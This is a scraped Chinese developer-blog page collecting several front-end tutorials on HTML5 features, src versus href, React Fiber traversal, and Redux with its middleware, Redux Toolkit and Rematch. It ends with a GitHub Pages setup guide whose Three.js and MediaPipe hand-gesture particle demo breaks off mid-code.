4. 异步和延迟加载

<script async src="script.js"></script>
<script defer src="script.js"></script>
<img loading="lazy" src="image.jpg">

5. 新的选择器 API

document.querySelector('.class');      // 选择第一个匹配元素
document.querySelectorAll('.class');   // 选择所有匹配元素

七、已废弃的标签

HTML5 废弃了一些过时标签,建议使用 CSS 替代:

  • 表现性标签:<font>, <center>, <big>, <strike>
  • 框架相关:<frame>, <frameset>, <noframes>
  • 其他:<acronym>, <applet>, <basefont>, <dir>

八、浏览器兼容性处理

对于不支持 HTML5 的老浏览器:

<!-- 1. 使用 HTML5 Shiv -->
<!--[if lt IE 9]>
  <script src="html5shiv.js"></script>
<![endif]-->

<!-- 2. 为旧浏览器提供回退 -->
<video controls>
  <source src="video.mp4" type="video/mp4">
  <!-- 如果不支持 video 标签,显示以下内容 -->
  您的浏览器不支持视频播放,请
  <a href="video.mp4">下载视频</a>
</video>

核心优势总结

  1. 语义化更好 - 代码更易读,SEO 更友好
  2. 多媒体支持 - 无需 Flash 等插件
  3. 设备兼容 - 更好的移动设备支持
  4. 离线和存储 - 支持本地存储和离线应用
  5. 性能提升 - Web Workers、WebSocket 等提高性能
  6. 图形处理 - Canvas 和 SVG 提供强大图形能力

这些特性使得 HTML5 成为现代 Web 开发的基础,能够创建更丰富、更交互的 Web 应用。

src和href的区别是什么

作者 代码猎人
2025年12月10日 00:24

srchref 是 HTML 中两个重要的属性,它们的核心区别在于:

src(source - 源文件地址)

  • 用途:将外部资源嵌入到当前文档中
  • 行为:浏览器会下载并执行/显示该资源
  • 常用场景
    <script src="app.js"></script>    <!-- 加载并执行JS -->
    <img src="image.jpg">             <!-- 加载并显示图片 -->
    <iframe src="page.html">          <!-- 加载并嵌入页面 -->
    <audio src="music.mp3">           <!-- 加载音频 -->
    <video src="video.mp4">           <!-- 加载视频 -->
    

href(hypertext reference - 超文本引用)

  • 用途:建立当前文档与外部资源的链接关系
  • 行为:浏览器会建立关联,但不会立即处理
  • 常用场景
    <a href="page.html">链接</a>      <!-- 导航链接 -->
    <link href="style.css" rel="stylesheet"> <!-- 关联样式表 -->
    <link href="icon.ico" rel="icon"> <!-- 关联网站图标 -->
    

关键区别对比

特性 src href
含义 嵌入资源 引用资源
加载时机 立即加载(除非有延迟属性) 按需加载
阻塞行为 可能阻塞页面渲染 不阻塞页面渲染
元素类型 可替换元素(替换内容) 链接元素(建立关系)
示例元素 <script>, <img>, <iframe> <a>, <link>, <base>

实际应用示例

<!-- src:嵌入JS文件,浏览器会立即下载并执行 -->
<script src="script.js"></script>

<!-- href:链接到CSS,浏览器会解析但不立即执行 -->
<link href="styles.css" rel="stylesheet">

<!-- 错误用法示例 -->
<script href="script.js"></script>  <!-- 错误!script应该用src -->
<a src="page.html">点击</a>         <!-- 错误!a标签应该用href -->

记忆技巧

  • src = "source":表示这是内容的"源头",需要取过来用
  • href = "reference":表示这是"参考资料",只是建立联系

简单说:src是"拿来用",href是"去链接"

简化 Fiber 遍历算法

2025年12月10日 00:15

理解 Fiber 遍历算法 —— 用代码和图示讲清「深度优先遍历」

在 React 的 Fiber 架构中,更新和调度的本质就是遍历链状结构「Fiber 树」。下面通过一个简化 TypeScript 例子,梳理 Fiber 遍历的过程与背后的逻辑。


Fiber 节点的数据结构

每个 Fiber 节点除了「类型」外,用 childsiblingparent 指针构建了一个多叉树:

class Fiber {
    type: string
    child: Fiber | null
    sibling: Fiber | null
    parent: Fiber | null
    constructor(type: string) {
        this.type = type
        this.child = null
        this.sibling = null
        this.parent = null
    }
}
  • child 指向第一个子节点
  • sibling 指向右边的兄弟节点
  • parent 指向父节点

通过这三根指针组成了一颗可以自底向上(parent)、自右向左(sibling)、自上向下(child)遍历的数据结构。


关键:performUnitOfWork 的遍历实现

核心函数 performUnitOfWork 做了两件事:

  1. 执行当前节点的工作(示例中用 console.log
  2. 决定下一个要遍历的 Fiber 节点 —— 按照“先子节点后兄弟节点,否则回溯父节点”的顺序

代码如下:

const performUnitOfWork = (fiber: Fiber) => {
    console.log(fiber.type) // 模拟执行Fiber工作
    if (fiber.child) {
        return fiber.child      // 优先遍历子节点
    }

    // 没有child,就找下一个sibling,没有sibling向上回溯parent
    let next: Fiber | null = fiber
    while (next) {
        if (next.sibling) {
            return next.sibling
        }
        next = next.parent
    }
    // 如果没有父级也没有兄弟,说明遍历完毕,返回undefined
}

实际上这是一个典型「深度优先遍历」(DFS, Depth-First Search):

  1. 优先访问 child
  2. child 为空则访问下一个 sibling
  3. sibling 也为空则不断回溯 parent,直到找到上级的 sibling
  4. parent 也没有 sibling,遍历结束

这种遍历方式可以保证逐步深入 Fiber 树,且每个节点都只访问一遍。


优化版 Fiber 树结构与遍历顺序演示

为了更好地说明深度优先遍历过程,我们设计如下更具代表性的 Fiber 树结构,包含了父-子、兄弟多层关系:

let root = new Fiber("root")
let A = new Fiber("A")
let B = new Fiber("B")
let C = new Fiber("C")
let A1 = new Fiber("A1")
let A2 = new Fiber("A2")
let B1 = new Fiber("B1")
let C1 = new Fiber("C1")
let C2 = new Fiber("C2")

root.child = A
A.parent = root
A.sibling = B
B.parent = root
B.sibling = C
C.parent = root

A.child = A1
A1.parent = A
A1.sibling = A2
A2.parent = A

B.child = B1
B1.parent = B

C.child = C1
C1.parent = C
C1.sibling = C2
C2.parent = C

对应的树状结构如下(缩进代表层级关系):

root
 ├─ A
 │   ├─ A1
 │   └─ A2
 ├─ B
 │   └─ B1
 └─ C
     ├─ C1
     └─ C2
  • child 指向第一个子节点
  • 通过 sibling 串起同级兄弟

深度优先遍历过程中,每次优先 child,然后是 sibling,最后回溯 parent 的 sibling,直到结束。用如下流程图可视化遍历顺序:

该遍历顺序为:root → A → A1 → A2 → B → B1 → C → C1 → C2


遍历入口

Traversal 的入口代码与之前一致:

let current: Fiber | undefined = root
while (current) {
    current = performUnitOfWork(current)
}
  • 每次调用 performUnitOfWork,返回下一个待遍历节点
  • 返回 undefined 时跳出循环,遍历结束

总结

通过这种「优先 child、再寻找 sibling、最后回溯 parent」的深度优先遍历,Fiber 树能够在可中断(分片)的情况下高效、稳定地调度更新。这也是 React Fiber 架构用以实现异步可中断渲染的底层基础。

一文梳理Redux及衍生状态管理库 [共4000字-阅读时长20min]

2025年12月10日 00:07

Redux的基本组成

  1. state,所有的状态都以对象树的方式存在单一的store中。
  1. action,唯一修改state就是创建action,通过dispatch将action传递给reducer进行修改state。
  1. reducer,reducer是一个纯函数,它有两个参数一个是旧state,一个是新的action,函数的返回值是新的state。新的state被计算之后,state会自动传递给所有注册了监听器的组件,从而触发了重新渲染。

下图就是redux整体的工作流程图。

如果现在问redux的基本原理是什么,描述一下redux的工作流程,就可以这样回答。

redux采用单一数据源的方式来管理状态数据,state都是只读状态不可修改,唯一修改状态的方式就是通过dispatch传递一个action给reducer,reducer返回一个新的状态,这也是redux的工作流程。

Flux架构

Flux将一个应用分成四个部分,Redux就是flux架构。

  • View: 视图层
  • Action(动作):视图层发出的消息(比如mouseClick)
  • Dispatcher(派发器):用来接收Actions、执行回调函数
  • Store(数据层):用来存放应用的状态,一旦发生变动,就提醒Views要更新页面

为什么Redux要采用Flux架构?

  1. 职责分离,action描述更新的内容,reducer描述怎么更新,state则描述管理状态。

  2. 构建出单向数据流,这种单向数据流让状态变化变得可预测、可调试

Redux具体使用

第一步,需要通过createStore创建一个redux实例,并且需要编写很多的样板代码。

// store.js
import { createStore } from 'redux';

// Action Types
const INCREMENT = 'INCREMENT';
const DECREMENT = 'DECREMENT';

// Reducer
const initialState = { count: 0 };
function counterReducer(state = initialState, action) {
  switch (action.type) {
    case INCREMENT:
      return { count: state.count + 1 };
    case DECREMENT:
      return { count: state.count - 1 };
    default:
      return state;
  }
}

// Create Store
export const store = createStore(counterReducer);

第二步,通过context将redux实例注入给整个组件树。

import { StrictMode, createContext } from 'react'
import { createRoot } from 'react-dom/client'
import App from './App.jsx'
import { store } from './store/index.js'// 引用redux实例

export const ReduxContext = createContext()

createRoot(document.getElementById('root')).render(
  <StrictMode>
    <ReduxContext.Provider value={{ store, dispatch: store.dispatch }}>//通过context将实例注入给整个组件树
      <App />
    </ReduxContext.Provider>
  </StrictMode>,
)

第三步,函数组件通过useContext,类组件通过XXXContext.Consumer进行消费。获取到对应的store_statedispatch。并且需要手动进行注册Redux监听器,这样当Redux的state发生变化的时候,组件可以监听到并进行重新渲染。

import { useContext, useEffect, useState } from "react";
import { ReduxContext } from "./main";

const Comp1 = () => {
    const {store, dispatch} = useContext(ReduxContext)
    const [currentState, setCurrentState] = useState(store.getState())

    useEffect(() => {
    // 订阅Redux的state的变化
        const unsubscribe = store.subscribe(() => {
        // 当redux state 变化的时候,调用setState触发组件的rerender更新UI
            setCurrentState(store.getState())
        })
        return () => {
            unsubscribe()
        }
    },[store])

    return <div>
        <h1>{currentState.count}</h1>
        <button onClick={() => dispatch({type:"INCREMENT"})}>+</button>
        <button onClick={() => dispatch({type:"DECREMENT"})}>-</button>
    </div>
}

export default Comp1;

 Redux不依赖于框架,想要实现Redux的state变化驱动UI更新的话,就要构建一个UI和  Redux  的绑定层(React-Redux),该层是依赖于  Redux  的发布订阅模式,可以通过 store.subscribe订阅Reduxstate变化,并在回调函数中出发组件的setState,实现UI的更新。这就React-Redux框架的作用。

什么是React-Redux?

React-redux是React和Redux的绑定库,它充当了数据层和视图层的桥梁,通过订阅Store的数据变化,自动触发组件的re-render更新视图,让Store的数据变化useState可以达到一致的响应式方式。

React-Redux的组成:

  1. Provider组件

在React项目中,可以通过  Provider  组件,将创建的store对象注入到整个组件树中,任何想要使用Redux Store的子组件都可以通过useSelectorconnect来访问。

  1. 简约使用,不用一层一层的传递props
import React from "react";
import ReactDOM from "react-dom/client";
import App from "./App";
import store from './store';
import { Provider } from 'react-redux';

const root = ReactDOM.createRoot(document.getElementById("root"));

root.render(
    <Provider store={store}>
      <App />
    </Provider>
)
  1. useSelector,useDispatch钩子函数

useSelector的作用是从Redux Store中订阅读取需要的状态数据,并且这些状态都是响应式的,状态变化的时候会触发组件rerenderuseDispatch用来获取React-reduxdispatch函数,派发action修改Redux Store的状态。

  1. 响应式数据,避免了繁琐的订阅数据的代码,使用useSelector天然就是响应式的。

  2. hooks和函数式组件适配程度高


  1. connect函数

connect一般是和类组件搭配使用,需要定义mapStateToProps 和mapDispatchToProps 通过connect将Redux和组件连接起来。

import React from 'react';
import { connect } from 'react-redux';
import { increment, decrement } from './actions';

function App({ count, increment, decrement }) {
  return (
    <div>
      <button onClick={increment}> + </button>
      <p>{count}</p>
      <button onClick={decrement}> - </button>
    </div>
  )
}

const mapStateToProps = state => {
  return {
    count: state.count,
  }
}

const mapDispatchToProps = {
  increment,
  decrement,
}

// 使用 connect 函数连接组件和 Redux store
export default connect(mapStateToProps, mapDispatchToProps)(App)

Redux辅助函数&中间件

combineReducers(肯拜n 瑞丢瑟斯)

目前的reducer处理的整体项目的Redux Store,既处理counter,又处理home。所有的状态都放在一个reducer中管理,必然会造成代码的臃肿和难以维护。

根据这种情况可以对reducer进行逻辑的拆分,counter类的逻辑抽出一个reducer,home类的逻辑抽出一个reducer。在reducers拆分的同时,实际上对Redux state也进行了拆分。

combineReducers 插件则是将抽象的reducer整合起来。

import { combineReducers } from 'redux';

// 1. 按业务域拆分成多个小的 reducer
const userReducer = (state = {}, action) => {
  switch(action.type) {
    case 'USER_LOGIN': return { ...state, ...action.payload };
    default: return state;
  }
};

const cartReducer = (state = {}, action) => {
  switch(action.type) {
    case 'ADD_TO_CART': return { ...state, items: [...state.items, action.item] };
    default: return state;
  }
};

const productsReducer = (state = [], action) => {
  switch(action.type) {
    case 'FETCH_PRODUCTS': return action.products;
    default: return state;
  }
};

// 2. combineReducers 建立 key 到 reducer 的映射关系
const rootReducer = combineReducers({
  user: userReducer,       // key "user" 映射到 userReducer
  cart: cartReducer,       // key "cart" 映射到 cartReducer  
  products: productsReducer // key "products" 映射到 productsReducer
});

// 这是上述拆分后的Redux Store
{
  user: {...},      // 由 userReducer 管理
  cart: {...},      // 由 cartReducer 管理  
  products: [...]   // 由 productsReducer 管理
}

combineReducers的实现原理

export const combineReducers = function (reducers) {
  // reducers = {count: setCount}
  const keys = Object.keys(reducers); // ['count']
  // 返回根Reducers,第一个参数是state,第二个参数是action
  return function (state = {}, action) {
    const nextState = {};
    keys.forEach((key) => {
      const reducer = reducers[key];
      const prev = state[key]; // { count: 0 }
      const next = reducer(prev, action); // 0 + 1 || 0 - 1
      nextState[key] = next;
    });
    return nextState;
  };
};

1.combineReducers返回一个根Reducers,第一个参数是state,第二个参数是action

2.经过combineReducers的处理,使用dispatch传递action对象和没有使用combineReducers处理的时候是一样的。不会发生处理之后actionstype就会从ADD_TO_CART,变为cart/ADD_TO_CARTcombineReducers本质是将reducers物理分离管理(代码分离,不写在一起),对应的state逻辑分离管理

3.根Reducers接收到action的时候,会遍历所有的子Reducers,将actions传递进去,获得新的state值。

4.将所有的新的state值进行汇总然后返回。

还记得吗?Redux修改state的方法就是通过reducers返回新的值,来更新Store数据的。

中间件

Redux中间件采用AOP思想,在actionreducer的链路中插入切面逻辑,扩展自己的逻辑。

中间件的核心:增强dispatch的能力,让action到达reducers 之前可以进行一些操作处理。

洋葱模型

这是理解中间件执行顺序最关键的模型。Koa 的中间件也是这个原理。

想象你有一个洋葱,最核心(最里面)的是真实的store.dispatch(也就是派发给 Reducer) 。每一层洋葱皮就是一个中间件

当你发起一个action时:

  1. 进场(In-bound): 就像一根针穿过洋葱,你需要先穿透最外层的皮(中间件1),再穿透第二层(中间件2)……直到刺中核心(Reducer)。
  1. 核心处理: Reducer 接收 action,更新 state。
  1. 出场(Out-bound): 针刺中核心后,如果函数有返回值或者有后续逻辑,代码执行权会沿着原路退出来:从核心 -> 中间件N -> ... -> 中间件1。

3. 代码签名的秘密: store => next => action 

你在源码中看到的中间件通常长这样,这叫柯里化(Currying) 函数:

const logger = store => next => action => {
  console.log('1. [Logger] 准备派发:', action);
  // 这句 next(action) 是关键!
  // 它代表:把控制权交给“下一层洋葱皮”
  let result = next(action); 
  console.log('2. [Logger] 派发完成,State更新了');
  return result;
}

让我把这三个箭头拆解开,你就懂了:

  1. 最外层  store :这是为了让中间件能获取状态 ( getState ) 或再次派发 ( dispatch )。
  1. 中间层  next :这是灵魂!
  •  next  并不总是指真实的 store.dispatch。
  • 它指的是链条中的下一个中间件
  • 如果是最后一个中间件,它的next才是真的store.dispatch
  • 如果你在中间件里不调用next(action),请求就会在这里断掉,永远到不了Reducer。
  1. 最内层  action :这就是你平时写的  dispatch({  type: 'ADD'})  里的那个对象。

4. 执行顺序演示(模拟大脑运行)

假设我们有两个中间件: M1  和  M2 。顺序是  applyMiddl  eware(M1, M2) 。

代码逻辑如下:

  • M1:  console.lo  g('M1 Start')  ->  next(actio  n)  ->  console.lo  g('M1 End') 
  • M2:  console.lo  g('M2 Start')  ->  next(actio  n)  ->  console.lo  g('M2 End') 

执行流程是这样的:

  1. 用户调用dispatch(action) 。
  1. 进入 M1
  • 打印  'M1 Start' 
  • 遇到  next(action)  -> 暂停 M1,进入 M2(因为 M1 的 next 就是 M2)。
  1. 进入 M2
  • 打印  'M2 Start' 
  • 遇到  next(action)  -> 暂停 M2,进入 Reducer(因为 M2 是最后一个,它的 next 是真 dispatch)。
  1. Reducer 执行,Store 数据更新。
  1. 回溯(洋葱出场)
  • Reducer 执行完,M2 的  next  函数返回。
  • 打印  'M2 End' 。
  • M2 函数执行结束,返回到 M1。
  • M1 的  next  函数返回。
  • 打印  'M1 End' 。

最终控制台输出:

M1 Start
M2 Start
  (Reducer 更新 State)
M2 End
M1 End

总结执行顺序:

  • 前半部分逻辑:正序 (M1 -> M2)
  • 后半部分逻辑(next 之后):倒序 (M2 -> M1)

5. 极简版源码实现(5行代码看懂原理)

Redux 的  compose  和  applyMiddl  eware  看起来很吓人,但如果去掉所有类型检查和边缘情况,它的核心逻辑可以用  Array.prot  otype.reduce  来解释。

假设我们有一堆中间件  [m1, m2, m  3]  和真实的  dispatch 。

我们需要把它们组装成: m1(m2(m3(d  ispatch))) 。

// 这是一个简化的 compose 实现
// 目的:把 [fn1, fn2, fn3] 变成 fn1(fn2(fn3(...args)))
const chain = middlewares.map(middleware => middleware(store));


// 这里的 dispatch 不再是原来的 dispatch,而是包装后的
// 这里的 reduce 就是要把中间件连起来
// 第一次:next = realDispatch,  item = m3 -> 返回 m3(realDispatch)
// 第二次:next = m3(realDispatch), item = m2 -> 返回 m2(m3(realDispatch))
// ...
const newDispatch = chain.reduceRight((next, item) => item(next), store.dispatch);

现在分段解释代码:

第一段代码

 const chain = middlewares.map(middleware => middleware(store)); 

首先要理解这段代码,必须要先明确  Redux  规定的中间件的格式是什么样子的,上文已经提到过了中间件签名

const myMiddleware = state => next => action => {
  //中间件代码
}

向上述的中间件传参  store  ,就可以得到如下函数:

(next) => (action) => {
  //中间件代码
}

这就相当于拨掉了洋葱的第一层,剩下的这个函数就很适合通过next将中间件进行连接了。

第二段代码

 const newDispatch = chain.reduceRight((next, item) ⇒ item(next), store.dispatch) 

首先需要明确的是 reduceRight  是在数组上从右向左遍历,原因就是中间件是对dispatch的加强,要将原始store.dispatch放在洋葱中心最后调用,然后一层一层的包裹上一次遍历处理的就是下一次的参数

 next指的是下一个中间件或者原生dispatch

多个中间件的二层函数会变为一个嵌套多层的newDispatch

(next) => (action) => {
  //中间件代码
}
(next) => (action) => {
  //中间件代码
}
(next) => (action) => {
  //中间件代码
}

变为:JavaScript

(action) => {
  // next
  (action) => {
    //next
    (action) => {
    //中间件代码
    }
  }
}


M1( M2( M3( realDispatch ) ) )

现在,当你调用newDispatch时,你实际上是在调用  m1 , m1  里的  next  引用着  m2 ,以此类推。使用dispatch,实际上已经经过多层的中间件加强后,才会调用真正的dispatch

Redux Thunk,为什么需要 Thunk(桑克)?

作用:让 Redux 的  dispatch  方法除了能接收“普通对象”外,还能接收“函数”,从而在函数内部处理异步逻辑。总结增加dispatch处理异步逻辑的能力。

在不使用Redux Thunk的时候,action creator必须返回一个对象,比如:

// 同步 action - 正常工作
const increment = () => {
  return {
    type: 'INCREMENT'
  };
};
dispatch(increment()); // ✅ 正常工作

如果increment函数是一个异步操作的会报错。

// 异步 action - 会报错!
const fetchUser = () => {
  setTimeout(() => {
    return {
      type: 'FETCH_USER_SUCCESS',
      payload: userData
    };
  }, 1000);
};

dispatch(fetchUser()); // ❌ 错误!返回的是 undefined

Redux Thunk 的解决方案

 redux-thunk 是如何做到让我们可以发送异步的请求呢?

  • 默认情况下的dispatch(action) action需要是一个 JavaScript 的对象
  •  redux-thunk 可以让dispatch( action 函数),  action 可以是一个函数
  • 该函数会被调用, 并且会传给这个函数两个参数: 一个dispatch函数和getState函数
  •  dispatch函数用于我们之后再次派发action 
  •  getState函数考虑到我们之后的一些操作需要依赖原来的状态,用于让我们可以获取之前的一些状态 Thunk 中间件允许action creator 返回函数而不是 action 对象
// 使用 Thunk 后的异步 action
const fetchUser = (userId) => {
  // 返回一个函数,而不是对象
  return async (dispatch, getState) => {
    try {
      // 开始加载
      dispatch({ type: 'FETCH_USER_START' });
      // 执行异步操作
      const response = await fetch(`/api/users/${userId}`);
      const userData = await response.json();
      // 成功
      dispatch({ 
        type: 'FETCH_USER_SUCCESS', 
        payload: userData 
      });
    } catch (error) {
      // 失败
      dispatch({ 
        type: 'FETCH_USER_FAILURE', 
        payload: error.message 
      });
    }
  };
};
// 现在可以正常 dispatch 异步 action 了
dispatch(fetchUser(123)); // ✅ 正常工作!

 React-sage(sei只) :用于解决redux异步编程的中间件,React-sage则是通过generator来解决异步问题。

React-logger:在控制台打印出每一次Action触发前后的State变化。

Redux的实现原理

总结:Redux是一个基于发布-订阅模式的状态容器,通过单向数据流的方式来管理应用状态。

export const createStore = function (reducer, initState) {
  let listeners = [];
  let state = initState;
  function subscribe(listener) {
    // 我们希望,订阅了数据的handler,在数据改变时,都能执行。
    listeners.push(listener);
  }

  function dispatch(action) {
    // 单向数据流,而不是双向绑定。
    const newState = reducer(state, action); // 触发combineReducers的闭包
    state = newState;
    listeners.forEach((fn) => fn());
  }

  dispatch({ type: Symbol() });

  // 如果别人想要获取数据?
  function getState() {
    return state;
  }

  return {
    getState,
    subscribe,
    dispatch,
  };
};

为什么要推出Redux Toolkit?

或者说原生Redux有什么缺点?

  1. 过多的样板代码

修改一个变量,要在  constants.  js (定义常量)、 actions.js (写创建函数)、 reducers.js (写 switch-case)三个文件里反复横跳。

// constants.js
export const INCREMENT = 'counter/INCREMENT';
export const DECREMENT = 'counter/DECREMENT';
export const SET_VALUE = 'counter/SET_VALUE';

// actions.js
import { INCREMENT, DECREMENT, SET_VALUE } from './constants';


export const increment = () => ({ type: INCREMENT });
export const decrement = () => ({ type: DECREMENT });
export const setValue = (val) => ({ type: SET_VALUE, payload: val });

// reducers.js

import { INCREMENT, DECREMENT, SET_VALUE } from './constants';
const initialState = { value: 0 };

export default function counterReducer(state = initialState, action) {
  switch (action.type) {
    case INCREMENT:
      return { ...state, value: state.value + 1 };
    case DECREMENT:
      return { ...state, value: state.value - 1 };
    case SET_VALUE:
      return { ...state, value: action.payload };
    default:
      return state;
  }
}
  1. 配置也很繁琐,中间件容易配置错误。
  • 创建 Store 极其麻烦,需要手动组合  combineRed  ucers 。
  • 想要异步?得手动安装并配置  redux-thun  k 。
  • 想要调试?得写那段又长又丑的  window.__R  EDUX_DEVTOOLS...  代码。
// ❌ 复杂的 Store 配置

const rootReducer = combineReducers({
  users: usersReducer,
  posts: postsReducer,
  comments: commentsReducer
});

const store = createStore(
  rootReducer,
  preloadedState,
  compose(
    applyMiddleware(thunk, logger),
    window.__REDUX_DEVTOOLS_EXTENSION__ && window.__REDUX_DEVTOOLS_EXTENSION__()
  )
);

Redux-Toolkit的优点

  1. 消灭样板代码过多(createSlice), 通过提供createSliceactiontypeaction creatorreducer三者的逻辑内聚到一个slice中。不用手写actiontypeaction creator,编写完slice之后,即可导出使用。
// features/counterSlice.js
import { createSlice } from '@reduxjs/toolkit';

const counterSlice = createSlice({
  name: 'counter', // 自动作为 action type 的前缀
  initialState: { value: 0 },
  reducers: {
    // 自动生成 action type: 'counter/increment'
    increment: (state) => {
      state.value += 1; 
    },
    decrement: (state) => {
      state.value -= 1;
    },
    // 自动生成 action creator: setValue(payload)
    setValue: (state, action) => {
      state.value = action.payload;
    },
  },
});

// 自动导出 Actions
export const { increment, decrement, setValue } = counterSlice.actions;
// 导出 Reducer
export default counterSlice.reducer;
  1. 开箱即用(configureStore) ,不需要纠结中间件顺序,不需要担心 DevTools 没配好。同时内置了Immer.js,解决了深层嵌套对象,需要写很复杂的  …  结构的情况。内置Redux-thunk,天生具备处理异步编程逻辑的能力。
import { configureStore } from '@reduxjs/toolkit';
import counterReducer from './features/counterSlice';
// ... import other reducers
const store = configureStore({
  reducer: {
    counter: counterReducer,
    users: usersReducer,
    // ... RTK 会自动帮你调用 combineReducers
  },
  // Thunk? 默认有。
  // DevTools? 默认开。
});

Rematch

它采用了类似 Vuex 的 Model(模型) 架构,将  state 、 reducers (处理同步)和  effects (处理异步)内聚在同一个对象中,自动生成 Action Creators,彻底抛弃了繁琐的 Action Types 和 Switch 语句。

核心优势在于: 它既保留了 Redux 的不可变数据流和强大的中间件生态(兼容 Redux DevTools),又提供了极简的 API 和开箱即用的异步处理能力。简单来说,它让 React开发者也能享受到 Vuex 般丝滑的开发体验。

@rematch/core使用案例

import { init } from '@rematch/core';
// 1. 定义 Model
const count = {
  state: 0, // 初始状态,不用写繁琐的 switch case
  reducers: {
    // 纯函数,处理同步修改
    increment(state, payload) {
      return state + payload;
    },
    reset() {
      return 0; // 重置状态
    }
  },
  effects: (dispatch) => ({
    // 异步逻辑放在这里
    // payload 是参数,rootState 是全局状态
    async incrementAsync(payload, rootState) {
      // 模拟异步请求,比如等待 1 秒
      await new Promise(resolve => setTimeout(resolve, 1000));
      // 异步完成后,调用上面的 reducer 修改数据
      // 注意:这里 Rematch 自动把 dispatch 挂载到了 dispatch.count 上
      dispatch.count.increment(payload);
    }
  })
};

// 2. 初始化 Store
const store = init({
  models: { count }
});

// --- 使用演示 ---
// 触发同步 Reducer
store.dispatch.count.increment(1); 
// State 变为: 1
// 触发异步 Effect
store.dispatch.count.incrementAsync(5);
// (等待1秒后) State 变为: 6

个人觉得@rematch/core的使用还是很丝滑的,但是目前已经不维护了,且周下载量只有几w,不再推荐使用。

问题

  1. 介绍下redux
  1. 介绍下redux中间件机制
  1. 介绍下常用的redux中间件
  1. RTK解决了哪些问题?

看完文章之后可以看看这几个问题,来确认了解情况。

图文并茂-手把手教宝子们3分钟用 GitHub Pages 搭建免费网站 (保姆级教程)

2025年12月10日 00:02

@[TOC]( 图文并茂手把手教宝子们3分钟用 GitHub Pages 搭建你的专属网站 保姆级教程)

宝子们又来看我啦~欢迎!👋

是不是一直想拥有一个属于自己的网页?放放作品集、写写碎碎念,或者单纯用来分享一个个人网站? 但是一听到“服务器”、“域名”、“部署”这些词就头大,而且还不想花钱?💸

来来来,今天教大家用 GitHub Pages “白嫖”一个静态网站!不需要你是程序猿,只要会点鼠标,三分钟就能搞定!✨


🌟 第一步:准备好你的 GitHub 账号

首先,你要有一个 GitHub 账号。 如果你还没有,去 github.com 注册一个,起个好听的英文名哦! image


🌟 第二步:创建一个特殊的仓库 (Repository),配置网站

登录后,点击右上角的 + 号,选择 New repository

image

确保选中 Public (公开),然后点击最下面的绿色按钮 Create repository。搞定!✅ image


🌟 第三步:把你的网站放上去哦

现在仓库是空的,我们需要放一个网页进去。 为了演示方便,我们直接在网页上操作:

  1. 点击蓝色的链接 creating a new file
  2. 文件名填 index.html (这是网页的“大门”)。
  3. 在下面的大框框里,随便写点什么!比如:

4.点击 Commit ... 保存。

image

image

<!DOCTYPE html>
<html lang="zh">
<head>
 <meta charset="UTF-8">
 <title>WebGL 手势控制爱心粒子</title>
 <style>
     body { margin: 0; overflow: hidden; background-color: #000; }
     #canvas-container { width: 100vw; height: 100vh; position: absolute; top: 0; left: 0; z-index: 1; }
     /* 隐藏摄像头视频流,只用于后台分析 */
     .input_video { display: none; }
     #loading {
         position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%);
         color: white; font-family: sans-serif; font-size: 24px; pointer-events: none; z-index: 10;
     }
 </style>
 <!-- 引入 Three.js -->
 <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r128/three.min.js"></script>
 <!-- 引入 MediaPipe Hands -->
 <script src="https://cdn.jsdelivr.net/npm/@mediapipe/camera_utils/camera_utils.js" crossorigin="anonymous"></script>
 <script src="https://cdn.jsdelivr.net/npm/@mediapipe/control_utils/control_utils.js" crossorigin="anonymous"></script>
 <script src="https://cdn.jsdelivr.net/npm/@mediapipe/drawing_utils/drawing_utils.js" crossorigin="anonymous"></script>
 <script src="https://cdn.jsdelivr.net/npm/@mediapipe/hands/hands.js" crossorigin="anonymous"></script>
</head>
<body>

<div id="loading">正在加载模型与摄像头...<br>请允许摄像头权限</div>
<div id="canvas-container"></div>
<video class="input_video"></video>

<script>
 // --- 1. Three.js 场景初始化 ---
 const scene = new THREE.Scene();
 const camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);
 camera.position.z = 30;

 const renderer = new THREE.WebGLRenderer({ antialias: true, alpha: true });
 renderer.setSize(window.innerWidth, window.innerHeight);
 document.getElementById('canvas-container').appendChild(renderer.domElement);

 // --- 2. 创建爱心粒子系统 ---
 const particleCount = 3000; // 粒子数量
 const geometry = new THREE.BufferGeometry();
 const positions = new Float32Array(particleCount * 3);
 const targetPositions = new Float32Array(particleCount * 3); // 存储爱心形状的目标位置
 const randomPositions = new Float32Array(particleCount * 3); // 存储散开时的随机位置

 // 爱心方程函数
 function getHeartPosition(t, scale = 1) {
     const x = 16 * Math.pow(Math.sin(t), 3);
     const y = 13 * Math.cos(t) - 5 * Math.cos(2 * t) - 2 * Math.cos(3 * t) - Math.cos(4 * t);
     const z = 0; 
     return { x: x * scale, y: y * scale, z: z * scale };
 }

 for (let i = 0; i < particleCount; i++) {
     // 生成爱心形状的目标点
     // 为了让爱心立体一点,我们随机分布t,并在Z轴加一点随机扰动
     const t = Math.random() * Math.PI * 2;
     const scale = 0.5; 
     const heartPos = getHeartPosition(t, scale);
     
     // 填充爱心内部 (随机缩放)
     const r = Math.sqrt(Math.random()); 
     
     targetPositions[i * 3] = heartPos.x * r;
     targetPositions[i * 3 + 1] = heartPos.y * r;
     targetPositions[i * 3 + 2] = (Math.random() - 0.5) * 5; // Z轴厚度

     // 生成散开的随机位置 (爆炸效果)
     randomPositions[i * 3] = (Math.random() - 0.5) * 100;
     randomPositions[i * 3 + 1] = (Math.random() - 0.5) * 60;
     randomPositions[i * 3 + 2] = (Math.random() - 0.5) * 50;

     // 初始位置设为散开状态
     positions[i * 3] = randomPositions[i * 3];
     positions[i * 3 + 1] = randomPositions[i * 3 + 1];
     positions[i * 3 + 2] = randomPositions[i * 3 + 2];
 }

 geometry.setAttribute('position', new THREE.BufferAttribute(positions, 3));

 // 粒子材质
 const material = new THREE.PointsMaterial({
     color: 0xff69b4, // 热粉色
     size: 0.4,
     transparent: true,
     opacity: 0.8,
     blending: THREE.AdditiveBlending
 });

 const particles = new THREE.Points(geometry, material);
 scene.add(particles);

 // --- 3. 交互逻辑变量 ---
 let gatherFactor = 0; // 0 = 完全散开, 1 = 完全聚合成爱心
 let targetGatherFactor = 0; // 目标聚合度,由手势控制

 // --- 4. MediaPipe Hands 配置 ---
 const videoElement = document.getElementsByClassName('input_video')[0];

 function onResults(results) {
     document.getElementById('loading').style.display = 'none';

     if (results.multiHandLandmarks && results.multiHandLandmarks.length > 0) {
         const landmarks = results.multiHandLandmarks[0];

         // 计算手掌开合程度
